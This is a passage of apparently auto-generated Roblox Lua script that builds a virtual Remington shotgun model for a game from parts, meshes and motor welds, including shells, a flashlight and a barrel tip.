		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0, -0.0543746948, -0.180480957, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell2 = New("Part",Remington_Model,"Shell2",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.2169991, 238.324005, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
		Mesh = New("CylinderMesh",Shell2,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
		mot = New("Motor",Shell2,"mot",{Part0 = Shell2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.235488892, -0.385894775, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.244444445),CFrame = CFrame.new(198.990005, 33.5600052, 237.401001, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.555555522, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, -0.429805756, 0.531143188, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.998993, 33.9239998, 240.877991, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.388888896, 0.722222269, 0.444444448),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(-0.00498962402, -0.0344619751, -2.94242859, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.998993, 33.9839973, 240.876999, 1.52035412e-007, -2.15638124e-007, 0.999999285, -0.999976814, -0.00644749124, 1.50641782e-007, 0.00644754712, -0.999976099, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.222222224, 0.722222269, 0.555555522),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035526e-007, -0.9999789, 0.00644753594, -2.15638295e-007, -0.00644753594, -0.9999789, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(-0.00498962402, 0.0255241394, -2.94088745, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.244444445),CFrame = CFrame.new(198.990005, 33.5979958, 237.561996, -0.999999046, 1.44979921e-007, -1.03373257e-008, 2.27581189e-008, 0.226423576, 0.974026561, 1.43555056e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 1, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 2.27581332e-008, 1.4355544e-007, 1.44980078e-007, 0.226424068, 0.974028468, -1.03373159e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.390361786, 0.370498657, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2859993, 241.008987, 0.999999285, -3.76375993e-007, 3.99015931e-008, 3.76719981e-007, 0.999956846, -0.00901973248, -3.65051775e-008, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.277777761),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 3.76720777e-007, -3.6505245e-008, -3.76376278e-007, 0.999958932, 0.0090197213, 3.99016429e-008, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.328704834, -3.07014465, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0410004, 241.173981, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 0.555555522),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.0852050781, -3.23735046, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.284996, 241.136978, -0.999999285, -5.49812398e-007, 4.75211088e-008, -5.4936072e-007, 0.999956846, 0.00901973248, -5.24781072e-008, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.222222224),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -5.49361857e-007, -5.2478299e-008, -5.49812796e-007, 0.999958932, 0.0090197213, 4.75211195e-008, 0.0090197213, -0.999958932),C1 = CFrame.new(0, 0.328857422, -3.19815063, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.222222224),CFrame = CFrame.new(198.990005, 33.8240013, 237.503998, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 1),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, -0.164890289, 0.430541992, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.466666669),CFrame = CFrame.new(198.990005, 33.743, 237.74498, -0.999999046, 3.8339823e-007, -5.07963485e-008, 3.73333293e-008, 0.226423383, 0.97402668, 3.84941984e-007, 0.974025846, -0.22642298),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.888888896, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 3.73334359e-008, 3.84943007e-007, 3.83398572e-007, 0.226423874, 0.974028587, -5.07963982e-008, 0.974028707, -0.226423576),C1 = CFrame.new(0.00399780273, -0.243713379, 0.188827515, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		BarrelTip = New("Part",Remington_Model,"BarrelTip",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.25555557, 0.200000003),CFrame = CFrame.new(198.994003, 34.2069969, 241.319, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Decal = New("Decal",BarrelTip,"Decal",{Face = Enum.NormalId.Top,Texture = "http://www.roblox.com/asset/?id=47760372",})
		Mesh = New("CylinderMesh",BarrelTip,"Mesh",{Scale = Vector3.new(0.722222269, 1, 0.722222269),})
		mot = New("Motor",BarrelTip,"mot",{Part0 = BarrelTip,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.252502441, -3.38085938, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0439987, 240.873978, 4.76836874e-007, -2.98023721e-008, -0.999999285, -0.999956846, -0.00901970267, -4.45666046e-007, -0.00901957601, 0.999956131, 3.49432128e-008),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.5, 0.666666687),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 4.76837215e-007, -0.999958932, -0.00901963189, -2.98023721e-008, -0.0090196915, 0.999958932, -1, -4.45666984e-007, 3.49432732e-008),C1 = CFrame.new(0, 0.0854949951, -2.93733215, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1940002, 238.32402, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.212490082, -0.386108398, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell3 = New("Part",Remington_Model,"Shell3",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1259995, 238.479996, -0.999999285, -4.35450644e-008, -3.80978449e-009, 4.3577586e-008, -0.999956846, -0.00901985168, -3.41675488e-009, -0.00901978463, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
		Mesh = New("CylinderMesh",Shell3,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
		mot = New("Motor",Shell3,"mot",{Part0 = Shell3,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.3545068e-008, -0.999958932, -0.00901984051, -3.80976761e-009, -0.00901984051, 0.999958932),C1 = CFrame.new(-0.160995483, 0.145900726, -0.542694092, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 2.33333325, 0.200000003),CFrame = CFrame.new(198.994003, 34.0529976, 239.967987, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.611111104, 1, 0.611111104),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.0863227844, -2.03129578, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.544444442, 0.200000003, 0.200000003),CFrame = CFrame.new(199.100006, 34.1940002, 238.408005, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1, 1, 0.222222224),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.106002808, 0.213249207, -0.470092773, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Flashlight  = New("Part",Remington_Model,"Flashlight ",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.992996, 33.8869972, 241.172989, 1.52035099e-007, -2.15638394e-007, 0.999999285, -0.999976873, -0.00644559413, 1.50641782e-007, 0.00644565001, -0.999976158, -2.16613387e-007),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("CylinderMesh",Flashlight ,"Mesh",{Scale = Vector3.new(0.888888896, 1, 0.888888896),})
		mot = New("Motor",Flashlight ,"mot",{Part0 = Flashlight ,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.52035199e-007, -0.99997896, 0.00644563884, -2.15638579e-007, -0.00644563884, -0.99997896, 1, 1.5064208e-007, -2.16613969e-007),C1 = CFrame.new(0.00100708008, -0.0688018799, -3.23774719, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.1329994, 240.873993, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.444444448, 0.888888896, 0.5),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.174491882, -2.9365387, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.222222224),CFrame = CFrame.new(198.990005, 33.8080025, 237.440002, -0.999999046, -2.7611398e-007, -3.33740253e-008, 9.50260031e-008, -0.226423293, -0.974026442, 2.61385878e-007, -0.974025846, 0.226423472),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.388888896, 1),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 9.50261807e-008, 2.61386589e-007, -2.76114235e-007, -0.226423785, -0.974028587, -3.33740395e-008, -0.974028468, 0.226424068),C1 = CFrame.new(0.00399780273, -0.181465149, 0.494384766, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell4 = New("Part",Remington_Model,"Shell4",{BrickColor = BrickColor.new("Earth green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(199.154999, 34.1170006, 238.634995, -0.999999285, -4.35450787e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901957601, -3.41675488e-009, -0.00901950896, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.152941, 0.27451, 0.176471),})
		Mesh = New("CylinderMesh",Shell4,"Mesh",{Scale = Vector3.new(0.555555522, 1, 0.555555522),})
		mot = New("Motor",Shell4,"mot",{Part0 = Shell4,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.00901956484, -3.80974008e-009, -0.00901956484, 0.999958932),C1 = CFrame.new(-0.160995483, 0.138298035, -0.697769165, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Shell4 = New("Part",Remington_Model,"Shell4",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.154999, 34.2770004, 238.636993, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
		Mesh = New("CylinderMesh",Shell4,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
		mot = New("Motor",Shell4,"mot",{Part0 = Shell4,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(-0.160995483, 0.298309326, -0.69833374, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(199.122009, 34.1940002, 238.479996, -6.03961325e-014, 4.47034836e-008, -0.999999285, -0.00901970267, 0.999956846, 4.45667041e-008, 0.999956131, 0.00901963562, -3.49431417e-009),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.777777791),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -3.6918385e-014, -0.0090196915, 0.999958932, 4.47034871e-008, 0.999958932, 0.0090196915, -1, 4.45667148e-008, -3.4943497e-009),C1 = CFrame.new(-0.128005981, 0.213897705, -0.54208374, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.8800011, 237.598999, 3.30005469e-006, 0.999997675, -1.50045219e-006, 0.226421654, 2.64618507e-006, 0.974025607, 0.974024713, -2.35094376e-006, -0.226419806),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,})
		Mesh = New("CylinderMesh",Part,"Mesh",{Scale = Vector3.new(0.666666687, 0.611111104, 0.666666687),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 3.30005719e-006, 0.226422161, 0.974027514, 0.999998391, 2.64619052e-006, -2.35095035e-006, -1.50045321e-006, 0.974027634, -0.226420417),C1 = CFrame.new(0.00399780273, -0.108036041, 0.336044312, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9160004, 237.942993, -0.999999285, 4.63591789e-007, 7.59031238e-009, -4.46960399e-007, -0.968218863, 0.250095546, 1.23291528e-007, 0.250095427, 0.968218207),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.277777761, 0.111111112),MeshType = Enum.MeshType.Wedge,})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -4.46961337e-007, 1.23291827e-007, 4.63592158e-007, -0.96822089, 0.250096083, 7.59034524e-009, 0.250096083, 0.96822089),C1 = CFrame.new(0, -0.0689353943, -0.00761413574, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2859993, 241.074982, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
		Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.222222224, 0.333333343, 0.388888896),})
		mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.329299927, -3.13613892, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
		Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.48888889),CFrame = CFrame.new(198.990005, 33.9120026, 237.591995, -0.999999046, 2.76114008e-007, -5.40486624e-008, 9.87390081e-009, 0.226423576, 0.974026561, 2.8118032e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
